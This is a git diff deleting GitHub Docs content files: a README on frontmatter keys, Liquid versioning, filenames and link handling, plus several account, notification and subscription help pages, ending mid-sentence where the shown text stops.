diff --git a/content/README.md b/content/README.md deleted file mode 100644 index 672c9629c755..000000000000 --- a/content/README.md +++ /dev/null @@ -1,418 +0,0 @@ -# Content - -The `/content` directory is where all the site's (English) Markdown content lives! - -See the [markup reference guide](https://docs.github.com/en/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs) for more information about supported Markdown features. - -See the [contributing docs](https://docs.github.com/en/contributing) for general information about working with the docs. - -- [Frontmatter](#frontmatter) - - [`versions`](#versions) - - [`redirect_from`](#redirect_from) - - [`title`](#title) - - [`shortTitle`](#shorttitle) - - [`intro`](#intro) - - [`permissions`](#permissions) - - [`product`](#product) - - [`layout`](#layout) - - [`children`](#children) - - [`childGroups`](#childgroups) - - [`featuredLinks`](#featuredlinks) - - [`showMiniToc`](#showminitoc) - - [`allowTitleToDifferFromFilename`](#allowtitletodifferfromfilename) - - [`changelog`](#changelog) - - [`defaultPlatform`](#defaultplatform) - - [`defaultTool`](#defaulttool) - - [`learningTracks`](#learningtracks) - - [`includeGuides`](#includeguides) - - [`type`](#type) - - [`topics`](#topics) - - [`communityRedirect`](#communityRedirect) - - [`effectiveDate`](#effectiveDate) - - [Escaping single quotes](#escaping-single-quotes) -- [Autogenerated mini TOCs](#autogenerated-mini-tocs) -- [Versioning](#versioning) -- [Filenames](#filenames) -- [Whitespace control](#whitespace-control) -- [Links](#links) - - [Linking to the current article in a different version of the docs](#linking-to-the-current-article-in-a-different-version-of-the-docs) - - [Preventing transformations](#preventing-transformations) - - [Legacy filepaths and redirects for links](#legacy-filepaths-and-redirects-for-links) - - [Index pages](#index-pages) - - [Home page](#homepage) - - [Creating new product guides pages](#creating-new-product-guides-pages) - -## Frontmatter - -[YAML Frontmatter](https://jekyllrb.com/docs/front-matter/) is an authoring -convention popularized by Jekyll that provides a way to add metadata to pages. -It is a block of key-value content that lives at the top of every Markdown file. - -The following frontmatter values have special meanings and requirements for this site. -There's also a schema that's used by the test suite to validate every page's frontmatter. -See [`lib/frontmatter.js`](/src/frame/lib/frontmatter.js). - -### `versions` - -- Purpose: Indicates the [versions](/src/versions/lib/all-versions.js) to which a page applies. -See [Versioning](#versioning) for more info. -- Type: `Object`. Allowable keys map to product names and can be found in the `versions` object in [`lib/frontmatter.js`](/src/frame/lib/frontmatter.js). -- This frontmatter value is currently **required** for all pages. -- The `*` is used to denote all releases for the version. - -Example that applies to GitHub.com and recent versions of GitHub Enterprise Server: - -```yaml -title: About your personal dashboard -versions: - fpt: '*' - ghes: '>=2.20' -``` - -Example that applies to all supported versions of GitHub Enterprise Server: -(but not GitHub.com): - -```yaml -title: Downloading your license -versions: - ghes: '*' -``` - -You can also version a page for a range of releases. This would version the page for GitHub.com, and GitHub Enterprise Server versions 2.22 and 3.0 only: - -```yaml -versions: - fpt: '*' - ghes: '>=2.22 <3.1' -``` - -### `redirect_from` - -- Purpose: List URLs that should redirect to this page. -- Type: `Array` -- Optional - -Example: - -```yaml -title: Getting started with GitHub Desktop -redirect_from: - - /articles/first-launch/ - - /articles/error-github-enterprise-version-is-too-old/ - - /articles/getting-started-with-github-for-windows/ -``` - -See [`contributing/redirects`](../contributing/redirects.md) for more info. - -### `title` - -- Purpose: Set a human-friendly title for use in the rendered page's `` tag and an `h1` element at the top of the page. -- Type: `String` -- Optional. If omitted, the page `<title>` will still be set, albeit with a generic value like `GitHub.com` or `GitHub Enterprise`. - -### `shortTitle` - -- Purpose: An abbreviated variant of the page title for use in breadcrumbs and navigation elements. -- Type: `String` -- Optional. If omitted, `title` will be used. - -|Article type |Maximum character length | ---- | --- | -|articles | 31 | -|categories |27 | -|map topics |30 | - -Example: - -```yaml -title: Contributing to projects with GitHub Desktop -shortTitle: Contributing to projects -``` - -### `intro` - -- Purpose: Sets the intro for the page. This string will render after the `title`. -- Type: `String` -- Optional. - -### `permissions` - -- Purpose: Sets the permission statement for the article. This string will render after the `intro`. -- Type: `String` -- Optional. - -### `product` - -- Purpose: Sets the product callout for the article. This string will render after the `intro` and `permissions` statement. -- Type: `String` -- Optional. - -### `layout` - -- Purpose: Render the proper page layout. -- Type: `String` that matches the name of the layout. -For a layout named `components/landing`, the value would be `product-landing`. -- Optional. If omitted, `DefaultLayout` is used. - -### `children` - -- Purpose: Lists the relative links that belong to the product/category/map topic. See [Index pages](#index-pages) for more info. -- Type: `Array`. Default is `false`. -- Required on `index.md` pages. - -### `childGroups` - -- Purpose: Renders children into groups on the homepage. See [Homepage](#homepage) for more info. -- Type: `Array`. Default is `false`. -- Require on the homepage `index.md`. - -### `featuredLinks` - -- Purpose: Renders the linked articles' titles and intros on product landing pages and the homepage. -- Type: `Object`. -- Optional. - -The list of popular links are the links displayed on the landing page under the title "Popular." Alternately, you can customize the title "Popular" by setting the `featuredLinks.popularHeading` property to a new string. - -Example: - -```yaml -featuredLinks: - gettingStarted: - - /path/to/page - startHere: - - /guides/example - popular: - - /path/to/popular/article1 - - /path/to/popular/article2 - popularHeading: An alternate heading to Popular -``` - -### `showMiniToc` - -- Purpose: Indicates whether an article should show a mini table of contents (TOC) above the rest of the content. See [Autogenerated mini TOCs](#autogenerated-mini-tocs) for more info. -- Type: `Boolean`. Default is `true` on articles, and `false` on map topics and `index.md` pages. -- Optional. - -### `allowTitleToDifferFromFilename` - -- Purpose: Indicates whether a page is allowed to have a title that differs from its filename. Pages with this frontmatter set to `true` will not be flagged in tests or updated by `src/content-render/scripts/reconcile-filenames-with-ids.js`. Use this value if a file's `title` frontmatter includes Liquid or punctuation that cannot be part of the filename. For example, the article [About Enterprise Managed Users](https://docs.github.com/en/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users) uses a Liquid reusable in its title, `'About {% data variables.product.prodname_emus %}'`, which cannot be in the filename, `about-enterprise-managed-users.md`, so the `allowTitleToDifferFromFilename` frontmatter is set to `true`. -- Type: `Boolean`. Default is `false`. -- Optional. - -### `changelog` - -- Purpose: Render a list of items pulled from [GitHub Changelog](https://github.blog/changelog/) on product landing pages (ex: `components/landing`). The one exception is Education, which pulls from https://github.blog/category/community/education. -- Type: `Object`, properties: - - `label` -- must be present and corresponds to the labels used in the [GitHub Changelog](https://github.blog/changelog/) - - `prefix` -- optional string that starts each changelog title that should be omitted in the docs feed. For example, with the prefix `GitHub Actions: ` specified, changelog titles like `GitHub Actions: Some Title Here` will render as `Some Title Here` in the docs feed). -- Optional. - -### `defaultPlatform` - -- Purpose: Override the initial platform selection for a page. If this frontmatter is omitted, then the platform-specific content matching the reader's operating system is shown by default. This behavior can be changed for individual pages, for which a manual selection is more reasonable. For example, most GitHub Actions runners use Linux and their operating system is independent of the reader's operating system. -- Type: `String`, one of: `mac`, `windows`, `linux`. -- Optional. - -Example: - -```yaml -defaultPlatform: linux -``` - -### `defaultTool` - -- Purpose: Override the initial tool selection for a page, where the tool refers to the application the reader is using to work with GitHub (such as GitHub.com's web UI, the GitHub CLI, or GitHub Desktop) or the GitHub APIs. For more information about the tool selector, see [Markup reference for GitHub Docs](../contributing/content-markup-reference.md#tool-tags). If this frontmatter is omitted, then the tool-specific content matching the GitHub web UI is shown by default. If a user has indicated a tool preference (by clicking on a tool tab), then the user's preference will be applied instead of the default value. -- Type: `String`, one of: `webui`, `cli`, `desktop`, `curl`, `codespaces`, `vscode`, `importer_cli`, `graphql`, `powershell`, `bash`, `javascript`. -- Optional. - -```yaml -defaultTool: cli -``` - -### `learningTracks` -- Purpose: Render a list of learning tracks on a product's sub-landing page. -- type: `String`. This should reference learning tracks' names defined in [`data/learning-tracks/*.yml`](../data/learning-tracks/README.md). -- Optional - -**Note: the featured track is set by a specific property in the learning tracks YAML. See that [README](../data/learning-tracks/README.md) for details.* - -### `includeGuides` -- Purpose: Render a list of articles, filterable by `type` and `topics`. Only applicable when used with `layout: product-guides`. -- Type: `Array` -- Optional. - -Example: - -```yaml -includeGuides: - - /actions/guides/about-continuous-integration - - /actions/guides/setting-up-continuous-integration-using-workflow-templates - - /actions/guides/building-and-testing-nodejs - - /actions/guides/building-and-testing-powershell -``` - -### `type` -- Purpose: Indicate the type of article. -- Type: `String`, one of the `overview`, `quick_start`, `tutorial`, `how_to`, `reference`. -- Optional. - -### `topics` -- Purpose: Indicate the topics covered by the article. Refer to the content models for more details about adding topics. A full list of existing topics is located in the [allowed topics file](/data/allowed-topics.js). If topics in article frontmatter and the allow-topics list become out of sync, the [topics CI test](/src/search/tests/topics.js) will fail. -- Type: Array of `String`s -- Optional: Topics are preferred for each article, but, there may be cases where existing articles don't yet have topics, or adding a topic to a new article may not add value. - -### `communityRedirect` -- Purpose: Set a custom link and link name for `Ask the GitHub community` link in the footer. -- Type: `Object`. Properties are `name` and `href`. -- Optional. - -### `effectiveDate` -- **For GitHub staff only**: Set an effective date for Terms of Service articles so that engineering teams can automatically re-prompt users to confirm the terms -- Type: `string` YEAR-MONTH-DAY e.g. 2021-10-04 is October 4th, 2021 -- Optional. - -### Escaping single quotes - -If you see two single quotes in a row (`''`) in YML frontmatter where you might expect to see one (`'`), this is the YML-preferred way to escape a single quote. From [the YAML spec](https://yaml.org/spec/history/2001-12-10.html): - -> In single-quoted leaves, a single quote character needs to be escaped. This is done by repeating the character. - -As an alternative, you can change the single quotes surrounding the frontmatter field to double quotes and leave interior single quotes unescaped. - -## Autogenerated mini TOCs - -Every article displays a mini table of contents (TOC), which is an autogenerated "In this article" section that includes links to all `H2`s in the article. Only `H2` headers are included in the mini TOCs. If an article uses `H3` or `H4` headers to divide information in a way that only certain sections are relevant to a particular task, you can help people navigate to the content most relevant to them by using a [sectional TOC](../contributing/content-style-guide.md#sectional-tocs). - -Mini TOCs do not appear on product landing pages, category landing pages, or map topic pages. - -Do not add hardcoded "In this article" sections in the Markdown source or else the page will display duplicate mini TOCs. - -## Versioning - -A content file can have **two** types of versioning: - -- [`versions`](#versions) frontmatter (**required**) - - Determines in which versions the page is available. See [Versioning documentation](https://docs.github.com/en/contributing/writing-for-github-docs/versioning-documentation) for more info. -- Liquid statements in content (**optional**) - - Conditionally render content depending on the current version being viewed. See [Versioning documentation](https://docs.github.com/en/contributing/writing-for-github-docs/versioning-documentation#versioning-with-liquid-conditional-operators) for more info. Note Liquid conditionals can also appear in `data` and `include` files. - -**Note**: As of early 2021, the `free-pro-team@latest` version is not included URLs. A helper function called `src/versions/lib/remove-fpt-from-path.js` removes the version from URLs. - -## Filenames - -When adding a new article, the filename is a [kebab-cased](https://en.wikipedia.org/wiki/Letter_case#Kebab_case) version of the article's [`title`](#title) frontmatter. For example, the article [About GitHub CLI](https://docs.github.com/en/github-cli/github-cli/about-github-cli) has a `title` frontmatter of `About GitHub CLI` and a filename of `about-github-cli.md`. - -Directory names for categories and map topics can match the `title` or `shortTitle` frontmatter. - -For a title that contains punctuation (such as "GitHub's Billing Plans"), you can omit the punctuation in the filename (`githubs-billing-plans.md`). For a title that uses a Liquid variable (such as `About {% data variables.product.prodname_emus %}`), you can use the words that the Liquid renders as in the filename (`about-enterprise-managed-users.md`). A test will flag any discrepancies between title and filename. To override the requirement that titles and filenames match for a given article, you can add [`allowTitleToDifferFromFilename`](#allowtitletodifferfromfilename) in the frontmatter. - -## Whitespace control - -When using Liquid conditionals in lists or tables, you can use [whitespace control](https://shopify.github.io/liquid/basics/whitespace/) characters to prevent the addition of newlines and other whitespace that would break the list or table rendering. - -You can add a hyphen (`-`) on either the left, right, or both sides to indicate that there should be no newline or other whitespace on that side. - -``` -{%- ifversion fpt %} -``` - -For example, to version a table row, instead of adding liquid versioning for the row starting at the end of the previous row, like this: - -``` -Column A | Column B | Column C ----------|----------|--------- -This row is for all versions | B1 | C1{% ifversion ghes %} -This row is for GHES only | B2 | C2{% endif %} -This row is for all versions | B3 | C3 -``` - -You can include the liquid versioning on its own line and use whitespace control to strip the newline to the left of the liquid tag. This makes reading the source much easier, without breaking the rendering of the table: - -``` -Column A | Column B | Column C ----------|----------|--------- -This row is for all versions | B1 | C1 -{%- ifversion ghes %} -This row is for GHES only | B2 | C2 -{%- endif %} -This row is for all versions | B3 | C3 -``` - -## Links - -Links to docs in the `docs-internal` repository must start with a product ID (like `/actions` or `/admin`) and contain the entire filepath, but not the file extension. For example, `/actions/creating-actions/about-custom-actions`. - -Image paths must start with `/assets` and contain the entire filepath including the file extension. For example, `/assets/images/help/settings/settings-account-delete.png`. - -The links to Markdown pages undergo some transformations on the server side to match the current page's language and version. The handling for these transformations lives in [`src/content-render/unified/rewrite-local-links.js`](/src/content-render/unified/rewrite-local-links.js). - -For example, if you include the following link in a content file: - -``` -/github/writing-on-github/creating-a-saved-reply -``` -When viewed on GitHub.com docs, the link gets rendered with the language code: -``` -/en/github/writing-on-github/creating-a-saved-reply -``` -and when viewed on GitHub Enterprise Server docs, the version is included as well: -``` -/en/enterprise-server@2.20/github/writing-on-github/creating-a-saved-reply -``` - -### Using AUTOTITLE for internal links - -If you create an internal link, you can use the AUTOTITLE keyword to generate an article's title in the rendered link. See the [markup reference](https://docs.github.com/en/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs#internal-links-with-autotitle) for details. - -### Linking to the current article in a different version of the docs - -Sometimes you may want to link from an article to the same article in a different product version. For example: - -- You mention some functionality that is not available for free, pro, or team plans and you want to link to the GitHub Enterprise Cloud version of the same page. -- The GitHub Enterprise Server version of an article describes a feature that shipped with that version, but site administrators can upgrade to the latest version of the feature that's in use on GitHub Enterprise Cloud. - -You can link directly to a different version of the page using the `currentArticle` property. This means that the link will continue to work directly even if the article URL changes. - -```markdown -{% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/{{ currentArticle }}).{% endif %} -``` - -### Preventing transformations - -Sometimes you want to link to a Dotcom-only article in Enterprise content and you don't want the link to be Enterprise-ified. To prevent the transformation, you should include the preferred version in the path. - -```markdown -[GitHub's Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service) -``` - -Sometimes the canonical home of content moves outside the docs site. None of the links included in [`src/redirects/lib/external-sites.json`](/src/redirects/lib/external-sites.json) get rewritten. See [`contributing/redirects.md`](/contributing/redirects.md) for more info about this type of redirect. - -### Legacy filepaths and redirects for links - -Our docs contain links that use legacy filepaths such as `/article/article-name` or `/github/article-name`. Our docs also contain links that refer to articles by past names. Both of these link types function properly because of redirects, but they are bugs. - -When you add a link to an article, use the current filepath and article name. - -### Index pages - -Index pages are the Table of Contents files for the docs site. Every product, category, and map topic subdirectory has an `index.md` that serves as the landing page. Each `index.md` must contain a `children` frontmatter property with a list of relative links to the child pages of the product, category, or map topic. - -**Important note**: The site only knows about paths included in `children` frontmatter. If a directory or article exists but is **not** included in `children`, its path will 404. - -### Homepage - -The homepage is the main Table of Contents file for the docs site. The homepage must have a complete list of `children`, like every [Index page](#index-page) but must also specify the `childGroups` frontmatter property that will be highlighted in the main content area. - -`childGroups` is an array of mappings containing a `name` for the group, an optional `icon` for the group, and an array of `children`. The `children` in the array must be present in the `children` frontmatter property. - -### Creating new product guides pages - -To create a product guides page (e.g. [Actions' Guide page](https://docs.github.com/en/actions/guides)), create or modify an existing markdown file with these specific frontmatter values: - -1. Use the product guides page template by referencing `layout: product-guides`. -1. (optional) Include the learning tracks in [`learningTracks`](#learningTracks). -1. (optional) Define which articles to include with [`includeGuides`](#includeGuides). - -If using learning tracks, they need to be defined in [`data/learning-tracks/*.yml`](../data/learning-tracks/README.md). -If using `includeGuides`, make sure each of the articles in this list has [`topics`](#topics) and [`type`](#type) in its frontmatter. diff --git a/content/account-and-profile/index.md b/content/account-and-profile/index.md deleted file mode 100644 index e50fb327771f..000000000000 --- a/content/account-and-profile/index.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Account and profile documentation -shortTitle: Account and profile -intro: 'Make {% data variables.product.github %} work best for you by adjusting the settings for your personal account, personalizing your profile page, and managing the notifications you receive.' -introLinks: - quickstart: /get-started/onboarding/getting-started-with-your-github-account -featuredLinks: - startHere: - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/changing-your-github-username - - /account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme - - /account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications - popular: - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository - - /account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications - guideCards: - - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile - - /account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address - - '{% ifversion ghes %}/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories{% endif %}' -changelog: - label: 'profiles, github-themes, notifications' - versions: - fpt: '*' - ghec: '*' -layout: product-landing -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts - - Profiles - - Notifications -children: - - /setting-up-and-managing-your-personal-account-on-github - - /setting-up-and-managing-your-github-profile - - /managing-subscriptions-and-notifications-on-github ---- diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md deleted file mode 100644 index a39e5a103ff2..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Managing subscriptions and notifications on GitHub -intro: 'You can specify how to receive notifications, the repositories you are interested in, and the types of activity you want to hear about.' -redirect_from: - - /categories/76/articles - - /categories/notifications - - /categories/receiving-notifications-about-activity-on-github - - /github/managing-subscriptions-and-notifications-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications -children: - - /setting-up-notifications - - /viewing-and-triaging-notifications - - /managing-subscriptions-for-activity-on-github -shortTitle: Subscriptions & notifications ---- diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md deleted file mode 100644 index f091a3dbabce..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Managing subscriptions for activity on GitHub -intro: 'To maintain sustainable notification workflows, understand and regularly review your subscriptions.' -redirect_from: - - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications -children: - - /viewing-your-subscriptions - - /managing-your-subscriptions -shortTitle: Manage subscriptions ---- diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md deleted file mode 100644 index a3f3e55c7689..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Managing your subscriptions -intro: 'To help you manage your notifications efficiently, there are several ways to unsubscribe.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications -redirect_from: - - /github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions - - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions -shortTitle: Manage your subscriptions ---- -To help you understand your subscriptions and decide whether to unsubscribe, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions). - -> [!NOTE] -> Instead of unsubscribing, you have the option to ignore a repository. If you ignore a repository, you won't receive any notifications. We don't recommend ignoring repositories as you won't be notified if you're @mentioned. {% ifversion fpt or ghec %}If you're experiencing abuse and want to ignore a repository, please visit {% data variables.contact.contact_support_page %} so we can help. {% data reusables.policies.abuse %}{% endif %} - -## Choosing how to unsubscribe - -To unwatch (or unsubscribe from) repositories quickly, navigate to [github.com/watching](https://github.com/watching) to see all the repositories you're following. For more information, see [Unwatching repositories](#unwatching-repositories). - -To unsubscribe from multiple notifications at the same time, you can unsubscribe using your inbox or on the subscriptions page. Both of these options offer more context about your subscriptions than the "Watched repositories" page. - -### Benefits of unsubscribing from your inbox - -When you unsubscribe from notifications in your inbox, you have several other triaging options and can filter your notifications by custom filters and discussion types. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox). - -### Benefits of unsubscribing from the subscriptions page - -When you unsubscribe from notifications on the subscriptions page, you can see more of the notifications you're subscribed to and sort them by "Most recently subscribed" or "Least recently subscribed." - -The subscriptions page shows you all of the notifications that you're currently subscribed to, including notifications that you have marked as **Done** in your inbox. - -You can only filter your subscriptions by repository and the reason you're receiving the notification. - -## Unsubscribing from notifications in your inbox - -When you unsubscribe from notifications in your inbox, they will automatically disappear from your inbox. - -{% data reusables.notifications.access_notifications %} -1. From the notifications inbox, select the notifications you want to unsubscribe to. -1. Click **Unsubscribe.** - - ![Screenshot of the "Notifications" page. A button, titled "Unsubscribe", is highlighted with an orange outline.](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png) - -## Unsubscribing from notifications on the subscriptions page - -{% data reusables.notifications.access_notifications %} -1. In the left sidebar, under the list of repositories, select the "Manage notifications" dropdown menu and click **Subscriptions**. - - ![Screenshot of the "Notifications" page. A dropdown menu, titled "Manage notifications", is highlighted with an orange outline.](/assets/images/help/notifications-v2/manage-notifications-options.png) - -1. Select the notifications you want to unsubscribe from. In the top right, click **Unsubscribe**. - -## Unwatching repositories - -When you unwatch a repository, you unsubscribe from future updates from that repository unless you participate in a conversation or are @mentioned. - -{% data reusables.notifications.access_notifications %} -1. In the left sidebar, under the list of repositories, select the "Manage notifications" dropdown menu and click **Watched repositories**. - - ![Screenshot of the "Notifications" page. A dropdown menu, titled "Manage notifications", is highlighted with an orange outline.](/assets/images/help/notifications-v2/manage-notifications-options.png) - -1. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to: - - * Unwatch a repository by choosing to only receive notifications when participating or mentioned - * Ignore all notifications for a repository - * If enabled, customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %}) - -1. Optionally, to unsubscribe from all repositories owned by a given user or organization, select the **Unwatch all** dropdown and click the organization whose repositories you'd like to unsubscribe from. The button to unwatch all repositories is only available if you are watching all activity or custom notifications on over 10 repositories. - - ![Screenshot of the "Watching" page. A button, titled "Unwatch all", is highlighted with an orange outline.](/assets/images/help/notifications-v2/unsubscribe-from-all-repos.png) - - * Click **Unwatch** to confirm that you want to unwatch the repositories owned by the selected user or organization, or click **Cancel** to cancel. diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md deleted file mode 100644 index cb097d8393f9..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Viewing your subscriptions -intro: 'To understand where your notifications are coming from and your notifications volume, we recommend reviewing your subscriptions and watched repositories regularly.' -redirect_from: - - /articles/subscribing-to-conversations - - /articles/unsubscribing-from-conversations - - /articles/subscribing-to-and-unsubscribing-from-notifications - - /articles/listing-the-issues-and-pull-requests-youre-subscribed-to - - /articles/watching-repositories - - /articles/unwatching-repositories - - /articles/watching-and-unwatching-repositories - - /articles/watching-and-unwatching-releases-for-a-repository - - /articles/watching-and-unwatching-team-discussions - - /articles/listing-watched-repositories - - /articles/listing-the-repositories-you-re-watching - - /articles/listing-the-repositories-youre-watching - - /github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions - - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications -shortTitle: View subscriptions ---- -You receive notifications for your subscriptions of ongoing activity on {% data variables.product.github %}. There are many reasons you can be subscribed to a conversation. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications#notifications-and-subscriptions). - -We recommend auditing and unsubscribing from your subscriptions as a part of a healthy notifications workflow. For more information about your options for unsubscribing, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions). - -## Diagnosing why you receive too many notifications - -When your inbox has too many notifications to manage, consider whether you have oversubscribed or how you can change your notification settings to reduce the subscriptions you have and the types of notifications you're receiving. For example, you may consider disabling the settings to automatically watch all repositories {% ifversion team-discussions %}and all team discussions{% endif %} whenever you've joined a team or repository. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#automatic-watching). - -To see an overview of your repository subscriptions, see [Reviewing repositories that you're watching](#reviewing-repositories-that-youre-watching). - -> [!TIP] -> You can select the types of event to be notified of by using the **Custom** option of the **Watch/Unwatch** dropdown list in your [watching page](https://github.com/watching) or on any repository page on {% data variables.product.github %}. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository). - -Many people forget about repositories that they've chosen to watch in the past. From the "Watched repositories" page you can quickly unwatch repositories. For more information on ways to unsubscribe, see [Unwatch recommendations](https://github.blog/changelog/2020-11-10-unwatch-recommendations/) on {% data variables.product.prodname_blog %} and [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions). You can also create a triage workflow to help with the notifications you receive. For guidance on triage workflows, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/customizing-a-workflow-for-triaging-your-notifications). - -## Reviewing all of your subscriptions - -{% data reusables.notifications.access_notifications %} -1. In the left sidebar, under the list of repositories that you have notifications from, use the "Manage notifications" drop-down to click **Subscriptions**. - ![Screenshot of the "Notifications" page. A dropdown menu, titled "Manage notifications", is highlighted with an orange outline.](/assets/images/help/notifications-v2/manage-notifications-options.png) - -1. Use the filters and sort to narrow the list of subscriptions and begin unsubscribing to conversations you no longer want to receive notifications for. - - ![Screenshot of the "Subscriptions" tab. Three dropdown menus, titled "Reason", "Repository", and "Sort", are highlighted with an orange outline.](/assets/images/help/notifications-v2/all-subscriptions.png) - -> [!TIP] -> * To review subscriptions you may have forgotten about, sort by "least recently subscribed." -> * To review a list of repositories that you can still receive notifications for, see the repository list in the "filter by repository" drop-down menu. - -## Reviewing repositories that you're watching - -1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down menu and click **Watched repositories**. - ![Screenshot of the "Notifications" page. A dropdown menu, titled "Manage notifications", is highlighted with an orange outline.](/assets/images/help/notifications-v2/manage-notifications-options.png) -1. Evaluate the repositories that you are watching and decide if their updates are still relevant and helpful. When you watch a repository, you will be notified of all conversations for that repository. - - > [!TIP] - > Instead of watching a repository, consider only receiving notifications when there are updates to {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or any combination of these options, or completely unwatching a repository. - > - > When you unwatch a repository, you can still be notified when you're @mentioned or participating in a thread. When you configure to receive notifications for certain event types, you're only notified when there are updates to these event types in the repository, you're participating in a thread, or you or a team you're on is @mentioned. diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md deleted file mode 100644 index f298ebac0191..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: About notifications -intro: 'Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} that you''ve subscribed to. You can use the notifications inbox to customize, triage, and manage your updates.' -redirect_from: - - /articles/notifications - - /articles/about-notifications - - /github/managing-subscriptions-and-notifications-on-github/about-notifications-beta - - /github/managing-subscriptions-and-notifications-on-github/about-notifications - - /github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications ---- - -## Notifications and subscriptions - -You can choose to receive ongoing updates about specific activity on {% data variables.product.prodname_dotcom %} through a subscription. Notifications are updates that you receive for specific activity that you are subscribed to. - -### Subscription options - -You can choose to subscribe to notifications for: -* A conversation in a specific issue, pull request, or gist -* All activity in a repository{% ifversion team-discussions %} or team discussion{% endif %} -* CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %} -* Repository {% data reusables.notifications-v2.custom-notification-types %} (if enabled) - -You can also choose to automatically watch all repositories that you have push access to, except forks. You can watch any other repository you have access to manually by clicking **Watch**. - -If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For example, if you no longer want to receive notifications from a particular repository, you can click **Unsubscribe**. For more information, see 